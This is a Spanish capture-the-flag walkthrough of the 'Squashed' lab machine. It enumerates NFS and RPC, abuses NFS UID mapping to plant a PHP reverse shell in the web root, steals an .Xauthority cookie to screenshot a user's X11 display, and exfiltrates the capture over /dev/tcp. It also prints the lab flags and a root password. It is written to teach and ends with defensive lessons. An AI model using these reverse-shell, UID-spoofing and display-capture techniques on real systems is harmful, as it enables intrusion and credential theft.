Squashed
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. El host exporta por NFS dos carpetas (/home/rossy/var/www/html) sin root squash ni mapeo de usuarios: el servidor autoriza por UID numérico. La raíz web pertenece al UID2017, así que creando en local un usuario con ese mismo UID podemos escribir un.phpen el share y subir una webshell que da shell comoalex. Pararoot,/home/rosscontiene un.Xauthority(UID1001): repetimos el truco de UID para leerlo, lo cargamos en nuestra sesión y, comorosstiene una sesión X11 activa, hacemos una captura de su pantalla conxwd(abuso de X11). En ella, un KeePassXC abierto muestra la contraseña deroot.
Reconocimiento
Ping
Empezamos con un ping para confirmar que el host responde y mirar el TTL, que orienta sobre el sistema operativo (≈64 Linux, ≈128 Windows).
ping -c 1 10.10.11.191
64 bytes from 10.10.11.191: icmp_seq=1 ttl=63 time=111 msTTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
Escaneo de puertos
Esta vez el escaneo UDP sí aporta: aparecen 111 (rpcbind), 2049 (NFS) y dos puertos altos asociados a mountd. rpcbind y NFS trabajan juntos: cuando un cliente quiere usar un servicio RPC (como NFS), pregunta a rpcbind en qué puerto está. NFS, que comparte carpetas por red como si fueran disco local, es un objetivo prioritario.
nmap -sU --top-ports 10000 --min-rate 5000 -n -Pn --open 10.10.11.191 | grep -v 'no-response'
Warning: 10.10.11.191 giving up on port because retransmission cap hit (10).
Not shown: 26 closed udp ports (port-unreach)
PORT STATE SERVICE REASON
111/udp open rpcbind udp-response ttl 63
2049/udp open nfs udp-response ttl 63
39679/udp open unknown udp-response ttl 63
43472/udp open unknown udp-response ttl 63Dos apuntes sobre esta salida, porque el escaneo UDP se malinterpreta con facilidad. El Not shown: 26 closed udp ports (port-unreach) dice que de los 10.000 puertos probados solo 26 se pueden dar por cerrados de verdad, que son los que devolvieron un ICMP port unreachable. Los 9.970 restantes salieron como open|filtered y se los ha llevado el grep -v 'no-response': no hay forma de distinguir "cerrado" de "el paquete se perdió" sin respuesta. Y el retransmission cap hit avisa de lo mismo desde el otro lado: nmap se ha rendido en algunos puertos por no recibir nada, así que esta lista es un mínimo, no un inventario.
Aun así, cuatro puertos abiertos con udp-response son cuatro certezas, y valen.
El escaneo TCP completo añade lo importante:
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.11.191Antes de pasar a TCP, un -sUVC dirigido sobre los cuatro puertos UDP abiertos exprime el rpcinfo, que es donde de verdad está la información: la tabla completa de programas RPC registrados.
nmap -sUVC -p111,2049,39679,43472 10.10.11.191
PORT STATE SERVICE VERSION
111/udp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100003 3,4 2049/tcp nfs
| 100005 1,2,3 36703/tcp mountd
| 100021 1,3,4 40503/tcp nlockmgr
|_ 100227 3 2049/tcp nfs_acl
2049/udp open nfs 3 (RPC #100003)
39679/udp open mountd 1-3 (RPC #100005)
43472/udp open mountd 1-3 (RPC #100005)Esa tabla es la que explica los puertos altos: mountd y nlockmgr son servicios auxiliares de NFS que el rpcbind del 111 registra en puertos dinámicos. No hay que adivinar qué son, el propio servicio los declara.

Not shown: 65527 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
111/tcp open rpcbind syn-ack ttl 63
2049/tcp open nfs syn-ack ttl 63
36703/tcp open unknown syn-ack ttl 63
40503/tcp open unknown syn-ack ttl 63
47367/tcp open unknown syn-ack ttl 63
50871/tcp open unknown syn-ack ttl 63Aquí sí: closed (reset), no filtered, o sea que la máquina rechaza activamente y no hay cortafuegos delante. Se suman 22 (SSH) y 80 (HTTP) a los cuatro puertos altos sin identificar.
nmap -p22,80,111,2049,36703,40503,47367,50871 -sCV 10.10.11.191extractPorts resume el fichero -oG y deja los ocho puertos en el portapapeles:
extractPorts scan
Extracting information ...
IP Address: 10.10.11.191
Open ports: 22,80,111,2049,36703,40503,47367,50871
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Built Better
|_http-server-header: Apache/2.4.41 (Ubuntu)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100003 3 2049/udp nfs
| 100003 3,4 2049/tcp nfs
| 100005 1,2,3 36703/tcp mountd
| 100005 1,2,3 43472/udp mountd
| 100021 1,3,4 39347/udp nlockmgr
| 100021 1,3,4 40503/tcp nlockmgr
|_ 100227 3 2049/tcp nfs_acl
2049/tcp open nfs 3-4 (RPC #100003)
36703/tcp open mountd 1-3 (RPC #100005)
40503/tcp open nlockmgr 1-4 (RPC #100021)
47367/tcp open mountd 1-3 (RPC #100005)
50871/tcp open mountd 1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelLa tabla rpcinfo es la que convierte los cuatro puertos altos anónimos en piezas con nombre, y de paso enseña qué hace rpcbind en la práctica: es un directorio. Cada servicio RPC se registra en él con su número de programa (100003 = NFS, 100005 = mountd, 100021 = nlockmgr, 100227 = nfs_acl), y el cliente pregunta al 111 en qué puerto vive cada uno. Por eso mountd puede estar en un puerto alto y aleatorio y aun así ser encontrable.
De aquí salen dos datos que importan luego: NFS anuncia versiones 3 y 4, y mountd está expuesto, que es justo el servicio al que se le pregunta qué se exporta.
Fechar el sistema por las versiones de los paquetes
Antes de tocar nada, un desvío corto que suele pagar. Las versiones que ha dado -sCV no son las oficiales de cada proyecto, son las de Ubuntu: 2.4.41-4ubuntu3.10 y 1:8.2p1-4ubuntu0.2. Ese sufijo se puede buscar en Launchpad, el sistema de paquetes de Ubuntu, y devuelve el nombre en clave de la versión a la que pertenece.


Los dos paquetes salen de Focal, o sea Ubuntu 20.04 LTS. Que coincidan es la parte útil: si el Apache fuese de una versión y el SSH de otra, el escenario más probable sería un contenedor delante de otra cosa, y habría que contar con dos sistemas de ficheros distintos. Coincidiendo, lo razonable es asumir un único host, que es exactamente lo que hará falta suponer cuando montemos los recursos NFS.
HTTP - TCP 80
Con el puerto 80 se agota rápido, pero conviene enseñar por qué, porque el descarte razonado es lo que justifica ir a por NFS.
whatweb http://10.10.11.191
http://10.10.11.191 [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][ZZ], HTML5,
HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.191], JQuery[3.0.0],
Script, Title[Built Better], X-UA-Compatible[IE=edge]Wappalyzer añade el detalle, y es más de lo mismo: una plantilla con media docena de librerías de cliente y ni rastro de lenguaje o framework de servidor.

Web servers: Apache HTTP Server 2.4.41
Operating systems: Ubuntu
UI frameworks: Bootstrap 4.1.0
JavaScript libraries: Swiper, jQuery UI 1.12.1, jQuery Migrate 3.0.1, OWL Carousel, jQuery 3.0.0, FancyBox 2.1.5
Font scripts: Font Awesome 4.0.3Nada de aplicación: Bootstrap y jQuery son de la maquetación, no de un CMS. No hay X-Powered-By, no hay gestor de contenidos, no hay versión de nada que buscar en exploit-db. El código fuente lo confirma:

<p class="footer_lorem_text">There are many variations of passages of Lorem Ipsum available ...
<li><a href="#"><img src="images/fb-icon.png"></a></li>
<p class="copyright_text">2020 All Rights Reserved. Design by <a href="https://html.design">Free html Templates</a></p>Esto es una plantilla gratuita sin tocar: texto de relleno Lorem Ipsum, todos los enlaces sociales apuntando a href="#" y la atribución a html.design intacta en el pie. No hay formularios, no hay parámetros, no hay nada que enviar. Un dirsearch cierra el descarte:
dirsearch -u http://10.10.11.191/ --exclude-status=403,404
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://10.10.11.191/
[17:19:55] 301 - 309B - /js -> http://10.10.11.191/js/
[17:20:28] 301 - 310B - /css -> http://10.10.11.191/css/
[17:20:38] 301 - 313B - /images -> http://10.10.11.191/images/
[17:20:38] 200 - 778B - /images/
[17:20:40] 200 - 573B - /js/
Task CompletedRecorrer el sitio a mano cierra la puerta del todo: todos los enlaces del menú y todos los botones apuntan al mismo sitio, #contact.html, un ancla dentro de la propia portada. No hay una segunda página que enumerar.

[17:19:55] 301 - 309B - /js -> http://10.10.11.191/js/
[17:20:28] 301 - 310B - /css -> http://10.10.11.191/css/
[17:20:38] 301 - 313B - /images -> http://10.10.11.191/images/
[17:20:38] 200 - 778B - /images/
[17:20:40] 200 - 573B - /js/Tres directorios de recursos estáticos y nada más, sobre un diccionario de 11.460 entradas. Lo único reseñable es que /images/ y /js/ responden 200 con unos cientos de bytes, que es la firma de un listado de directorio habilitado. Es una mala práctica, pero aquí no hay nada dentro que sirva.
Conclusión: el 80 es decorado. El vector está en NFS.
NFS - TCP/UDP 2049 (enumeración)
showmount -e lista los recursos exportados: /home/ross y /var/www/html, ambos abiertos a cualquier cliente (*). Los montamos en local:
showmount -e 10.10.11.191
mkdir -p /tmp/home/ross /tmp/var/www/html
mount -t nfs 10.10.11.191:/home/ross /tmp/home/ross
mount -t nfs 10.10.11.191:/var/www/html /tmp/var/www/html
Export list for 10.10.11.191:
/home/ross *
/var/www/html *Shell como alex
NFS sin mapeo de UID → escritura en la raíz web
Al inspeccionar el share /var/www/html montado, vemos que la carpeta html pertenece al UID 2017 (sin nombre en local, porque ese usuario solo existe en la víctima):
ls -l /tmp/var/www
drwxr-xr-- 2 2017 www-data 4096 ... htmlAquí está la clave: NFS (sin root squash ni mapeo de usuarios) autoriza el acceso a los ficheros por número de UID, no por nombre. Si en nuestra máquina creamos un usuario cuyo UID sea 2017, el servidor nos tratará como el dueño de html y podremos escribir dentro (abuso del mapeo de UID en NFS):
useradd pwned
usermod pwned -u 2017
grep pwned /etc/passwd
pwned:x:2017:1002::/home/pwned:/bin/shWebshell → reverse shell
Como esa carpeta es la raíz del Apache del 80, cualquier .php que dejemos será servido y ejecutado. La reverse shell sale de revshells.com, que genera la variante de PHP ya rellena con la IP y el puerto del listener:

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP.
// RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.16.6';
$port = 443;
$chunk_size = 1400;Se copia al share actuando como pwned (el UID dueño del directorio):
sudo -u pwned cp revshell.php /tmp/var/www/html/revshell.php
# sudo -u pwned ls -l /tmp/var/www/html/revshell.php
-rw-r--r-- 1 pwned pwned 2590 Oct 24 18:30 /tmp/var/www/html/revshell.phpPonemos un listener y disparamos la webshell con una simple petición HTTP:
nc -nlvp 443
curl 10.10.11.191/revshell.php
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.191] 53846
Linux squashed.htb 5.4.0-131-generic ...
uid=2017(alex) gid=2017(alex) groups=2017(alex)El UID 2017 resulta ser el usuario alex, y el Apache corre como él, así que la shell entra directamente como alex. La flag de usuario:
cat /home/alex/user.txt
e9ab4c2d27302b6d854ffc8d74fd9fd2Escalada de privilegios
.Xauthority en el share de ross
El otro recurso NFS era /home/ross. Al listarlo encontramos un fichero .Xauthority (permisos 600, dueño ross):
ls -la /tmp/home/ross
alex@squashed:/home/ross$ ls -la
total 68
-rw------- 1 ross ross 57 Oct 24 15:09 .Xauthority
-rw------- 1 ross ross 2475 Oct 24 15:09 .xsession-errorsEse mismo directorio lo tenemos montado en local por NFS, y allí el listado se lee mejor, porque sin los usuarios de la víctima el sistema muestra los UID en crudo. Vale la pena recorrerlo entero:
ls -laR /tmp/home/ross
/tmp/home/ross:
-rw------- 1 1001 1001 57 Oct 24 17:09 .Xauthority
lrwxrwxrwx 1 root root 9 Oct 20 2022 .bash_history -> /dev/null
drwx------ 11 1001 1001 4096 Oct 21 2022 .cache
lrwxrwxrwx 1 root root 9 Oct 21 2022 .viminfo -> /dev/null
-rw------- 1 1001 1001 2475 Oct 24 17:09 .xsession-errors
ls: cannot open directory '/tmp/home/ross/.cache': Permission denied
ls: cannot open directory '/tmp/home/ross/.config': Permission denied
ls: cannot open directory '/tmp/home/ross/.gnupg': Permission denied
/tmp/home/ross/Documents:
-rw-rw-r-- 1 1001 1001 1365 Oct 19 2022 Passwords.kdbxTres cosas salen de aquí. La primera es el UID 1001 en lugar de un nombre, que es la confirmación de que el truco que ya funcionó con el 2017 es repetible. La segunda es el .xsession-errors modificado hoy a las 17:09, no en 2022 como el resto: alguien tiene una sesión gráfica corriendo ahora mismo, y eso es lo que hace que un .Xauthority valga para algo. La tercera es Passwords.kdbx, una base de datos de KeePass, que anticipa dónde va a acabar esto (aunque el fichero en sí está a 644 y se puede copiar, sin la contraseña maestra no sirve de nada).
Los Permission denied sobre .cache, .config y .gnupg no son un fallo del montaje: son directorios 700 del UID 1001 y los estamos mirando como root local, al que NFS no trata como superusuario. Eso es precisamente el root_squash haciendo su trabajo, y explica por qué hay que crear un usuario con el UID exacto en vez de simplemente ser root.
.Xauthority guarda las cookies de autorización del servidor X11 (el sistema gráfico de Unix/Linux): quien tenga ese fichero puede autenticarse contra el display de ese usuario. Comprobamos con w que ross tiene una sesión gráfica activa:
w
USER TTY FROM LOGIN@ IDLE WHAT
ross tty7 :0 15:09 ... /usr/libexec/gnome-sessionLeer .Xauthority vía NFS
El .Xauthority tiene permisos 600, así que ni alex ni nosotros podemos leerlo directamente. Pero el fichero pertenece al UID 1001 (ross), y volvemos a tener el share montado en local: repetimos el truco de UID creando un usuario local con UID 1001 para leerlo:
useradd ross
usermod ross -u 1001
sudo -u ross ls -la /tmp/home/ross/.Xauthority
echo $(sudo -u ross cat /tmp/home/ross/.Xauthority | base64) | base64 -d > /tmp/.Xauthority
-rw------- 1 ross 1001 57 ... /tmp/home/ross/.XauthorityEl rodeo del echo $(... | base64) | base64 -d merece una explicación, porque a primera vista parece ruido. El .Xauthority es binario, y una sustitución de comandos en bash no puede transportar bytes nulos: se pierden por el camino. Pasándolo a base64 dentro del sudo -u ross viaja como texto imprimible y se decodifica ya fuera, con lo que el fichero llega intacto. Se comprueba que ha llegado bien:
strings /tmp/.Xauthority
squashed.htb
MIT-MAGIC-COOKIE-1Son 57 bytes que contienen el nombre del host, el número de display, el nombre del protocolo de autenticación (MIT-MAGIC-COOKIE-1) y la cookie de 16 bytes en binario, que es el secreto real. El mecanismo es tan simple como suena: el cliente presenta la cookie y el servidor X la compara con la suya. No hay criptografía ni caducidad, así que copiar el fichero es copiar la credencial.
Captura de pantalla del display de ross
Servimos el .Xauthority por HTTP desde el directorio donde lo hemos dejado:
cd /tmp
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...Lo descargamos en la víctima, lo apuntamos con la variable XAUTHORITY y, autenticados ya contra el display :0 de ross, hacemos una captura con xwd:
wget http://10.10.16.6/.Xauthority -O /tmp/.Xauthority
export XAUTHORITY=/tmp/.Xauthority
xwd -root -screen -silent -display :0 > /tmp/screen.xwd
alex@squashed:/tmp$ xwd -root -screen -silent -display :0 > /tmp/screen.xwd
alex@squashed:/tmp$ ls
screen.xwdEl xwd no imprime nada; deja el volcado del display en screen.xwd (lo confirma el ls).
Traemos el .xwd a nuestra máquina y lo abrimos con display (ImageMagick):
cat /tmp/screen.xwd > /dev/tcp/10.10.16.6/1234
nc -nlvp 1234 > screen.xwd
display screen.xwd
listening on [any] 1234 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.191] 41658La captura muestra el escritorio de ross con un KeePassXC abierto, y en la entrada "System..." del usuario root la contraseña en claro: cah$mei7rai9A.
root
La contraseña vale para su:
su root
cat /root/root.txt
00ec79b356e59e7d591b6dda4f9f6031Cadena de ataque
nmap UDP/TCP → rpcbind + NFS (2049) + Apache (80)
└─> showmount -e → /home/ross y /var/www/html exportados
└─> /var/www/html pertenece al UID 2017 → useradd UID 2017
└─> cp revshell.php al share → curl → shell como alex (user.txt)
└─> /home/ross/.Xauthority (UID 1001, perms 600) + ross con sesión X11
└─> useradd UID 1001 → leer .Xauthority vía NFS
└─> XAUTHORITY + xwd -display :0 → captura de pantalla
└─> KeePassXC abierto → contraseña de root → su root (root.txt)Lecciones aprendidas
- NFS autoriza por UID numérico. Sin root squash ni mapeo de usuarios, el control de acceso a los ficheros exportados depende solo del número de UID del cliente. Crear en local un usuario con el UID adecuado da los permisos de su dueño: escribir en la raíz web o leer ficheros ajenos. Limitar las exportaciones (
root_squash,all_squash, restringir hosts) lo evita. - Una raíz web escribible es RCE. Poder dejar un
.phpen el directorio servido por Apache convierte el acceso de fichero en ejecución de código: subida de webshell. .Xauthorityes una credencial. Quien lo posee controla la sesión gráfica del usuario: puede leer su pantalla, inyectar pulsaciones, etc. Por eso sus permisos son600; filtrarlo (aquí, vía NFS) equivale a entregar el display (abuso de X11).- Secretos a la vista en pantalla. Un gestor de contraseñas abierto con las entradas visibles es un regalo para quien pueda capturar el display. Bloquear la bóveda y la sesión al alejarse es básico.
rpcbinden el 111 es un mapa del servidor. Su tablarpcinfoconvirtió cuatro puertos altos anónimos enmountdynlockmgr, y publica qué versiones de NFS se hablan. Exponerlo a internet es regalar el inventario, y es la razón por la que un-sCVsobre el 111 rinde más que cualquier fuzzing.- Una marca de tiempo puede valer más que un fichero. El
.xsession-errorsmodificado hoy, y no en 2022 como el resto del home, es lo que dijo que había una sesión gráfica viva. Sin ese dato, el.Xauthoritysería un fichero de 57 bytes sin ningún display contra el que usarlo. - Los
Permission deniedtambién informan. No poder abrir.cacheo.gnupgsiendorootlocal es la prueba de que el servidor aplicaroot_squash, y es lo que descarta la vía fácil y obliga a crear un usuario con el UID exacto. Un error que se entiende ahorra un rodeo. - El sufijo de un paquete Ubuntu fecha el sistema.
2.4.41-4ubuntu3.10no es una versión de Apache, es una de Ubuntu, y en Launchpad devuelve Focal (20.04). Que Apache y OpenSSH coincidieran en la misma versión es lo que permitió asumir un único host y no un contenedor delante de otra cosa.